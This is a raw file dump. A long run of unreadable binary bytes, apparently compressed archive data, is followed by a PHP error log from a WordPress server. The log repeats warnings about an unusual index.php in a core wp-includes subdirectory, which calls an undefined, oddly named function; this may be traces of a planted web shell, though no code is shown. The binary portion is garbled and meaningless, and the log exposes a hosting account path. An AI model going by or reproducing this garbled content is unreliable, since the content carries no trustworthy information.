��$�]���\���	V3s��z�oY�޵xnN~\�X?�M��1��bزC�l9ܶM�hW��a:��[=�����n�3ш��ڵ`p�q��+�?~渙M�:�D�o:����@�s��V}��1�q]�W'���9�"7��ƍ��=-��z�٦j��`bo^(�#�f�k�$4f=f�:�Q�U���V�ȣW�֦-��Φ7�|�ػ��2n�}�*΄g"�6�
���Є9�'��.��*��m��������_��F���o���M:X�H[�΃H�Omk��H�}���"�T��z=u��m�0�M6�T��}l�l�!b�_��JF�c4c���%m�I<�v��9��Q�L߄a���v�[Ka��MxE\+���*����Ö��@�����j<'G�����4�f�m�Բ������������ѵ���҅0����Y���3
ǁ���i�]�:c�"�0��f:ۜ���G_�@�v�"R�>��f�1��b�t��7���YB33x67�W�e@_�����6�Ɛt�}f���z}���"럞ay
����'�����VH�����%�|�����"Q�����	�d"lOA�'I�2�tkTH;�4/'nă��E����	�q$	���G��L�x܀<�|T:
�Zd��B�B/���z����`7I�����-����
�ɑ�0�~{ii����7'{�l@v���d\���Ff�~S:��΁Fw
s�`�>�9�dq�?e��8'��l�(v���0Ic#(��c�H+6�~����!�J���vY���+�%�
�r�7p�N^�y:˯��ֱ[M���bݿ�)��_r�.En� ��F1���L��g��lO���tOI��t&e}����R��K,��ۏ�J���KW9ކΫ�}T�b�m}�5�%�~�_�
(��^�-��\2��x6GueM�2 x=��E��Yy�P �1.��y����y����<�C���^�Q�6��}�&�	au>5�7sk�,V<�P ��?�Ά(�����H��R��1�}^�'O��a&D�
"`
6E+W��o�vl]g�9ÿ���Y�����żb%
��A�XU���9V��o7�ʚ!�Z���&'ѳҲ,b�����j_
&z[�BT��t�t��Y�O�9˭��=��Z���|Ku}��S��te$���Zb��(7M�rQ���MI�!�Ǩ�f9�R�`F^�D�u`���{EF�6�`-7�,x�sߚ�G��S��>��M�S�D��re�\iy����\�X۞L�ٵ�w��?��%��.}��K�>���%�ɠ9q,"�AL _��1����7�֠�m}Yp΃1wOzd:��1e�֏�ũ�(>�%Mn�f*L�[�̴��n�-��B&�Gנ��0&�tW^"��\��lB� �g#�1�ۨGl�
O�o;$���[-.w��,(@L�S�	0�j)�W��iQ�<J�����a|�Y:���P�je�ekϻ��޴�d���O�X6�5��O�=���y�hъ���ʤ �W�0�l���
�r_.g��Sv=]��C1�(�L��5,ٓ�JFe6�H�j�/���+SWC��3?�e2ux��J�y�Z�AC�6m0����9UC‹]��4������uxfOlx��gc���q�ƢeR�ղ)Ju��l�wᲢk8�).mzD^�o�::���������b��e!b�G;�kQ<6���t��f��@����H�
rS��7��B?�i��"��Z��3���.��L��D��a^���3t&�֤|�w|_X���e�{oZ�(N؅��28�N��1��g��/�`����t�Dڙ�Z>΂4-xl�	"���|��d�c:�����:F�_B3wE���u��qT9��[H�����R����w�o/�}4�����#ϛ֓�m�9�j���\sbY��я��\���3��w�T�aTع�'O�˂}�ÔN���6��ʾ�;k�1ԫĮ��t �X����H���
&9��j6�qMVl�,�(���˛o�p]���
S���28}_ia��tr��^��hj
l_��'H��Kl�n����F��d��'3�-ZWK�"b���	���B�ᙾi�2
�ֹ�5�`
�5Y��*��}���&V����M
QO�3�FGc�L�ô��.���3�Թ�Ew2��}��<n��j��9:T��r��\�7��a#A��(l ��Oe�6[s1���h`��`B={�R�ҫ3n�r�a,"��҅�x�R�hp�W��fo���Y\F�q���&T�OԮP��Է�a[Na��F.����YɃ�ًԲE�	�Aa�	��6miB4\>y��V��B�j�}\�;3��J((бn+yߗ'ø�}K�8�e�b�T�U.��6�>ɀH)��6��jHk<DA�$��ۦ*���U�6
&�0��zg_��V�Bs_�:�q1ES�s���6��^+���P�(��^\���Ƶ8��b\��Z�'�N�{(
A����;>��4�C��|�r�V�VȌ�c�:�<'�<B+�����㻬)7��q���e[�q#����`�I+�KU��N�H.�n�t�$��NM�]F<�o:\����^��z��@I�����q&���C>��Q�Kx\d���g�=�7fa�	��'��`w܅�4I�9ţ=kP�� Sc�=�]�re�E�qȽ��#�R%�#K�	�+J����|\z<XM�<��bf�D��qlAH_�Izځ�I���N��[S�߄OG���)H�s�̑�wб<�|>��.*Ll�����hZS�Y�-�u����	�3��gp]��%�.��jH���EZ��j��$t,-᫆�`�%M�{Ewb�2s��:�Դ������i�c�Wb}>8h[�;Z�`Dе�E�	����St�f��'�a�<�sn��4�%:�aR�ֱ8t��ͤWٖ�}x���p4\�V^F�rCC[r0t����M�5���B�ŢJ�gY�OG!f�"H��m��|�vs�%G�ͮ_� ��,�]�7<�Nv�A>R����h���6��v鷥7g�0g���?D�AI�t��ӑ��WD��t�r0Y����������(�PKYO\?Y�W�W�10/error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
